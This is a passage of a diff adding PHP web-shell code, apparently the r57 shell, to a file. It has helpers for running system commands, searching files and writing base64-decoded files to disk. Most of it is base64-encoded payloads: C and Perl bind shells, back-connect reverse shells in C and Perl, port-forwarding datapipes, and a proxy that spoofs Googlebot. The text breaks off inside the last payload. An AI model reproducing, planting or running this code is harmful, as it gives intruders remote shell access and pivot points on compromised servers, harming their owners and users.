if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value,$checked=0) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\""; + if($checked) $ret .= " checked"; + return $ret.">"; +} +function which($pr) +{ +$path = ''; +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return false; } +} +function ps($pr) +{global $unix; +$path = ''; +if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");} +else{$path = ex("tasklist | findstr \"$pr\"");} +if(!empty($path)) { return $path; } else { return false; } +} +function locate($pr) +{ +$path = ''; +$path = ex("locate $pr"); +if(!empty($path)) { return $path; } else { return false; } +} +function cf($fname,$text) +{ + if(!morewrite($fname,@base64_decode($text))){err(0);}; +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn +luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT +0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE +UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09 +DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS +AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd +GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk +cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1 +BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi +AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK +TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg +eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA +oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG +VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI +CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt +b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN +0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG +9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ 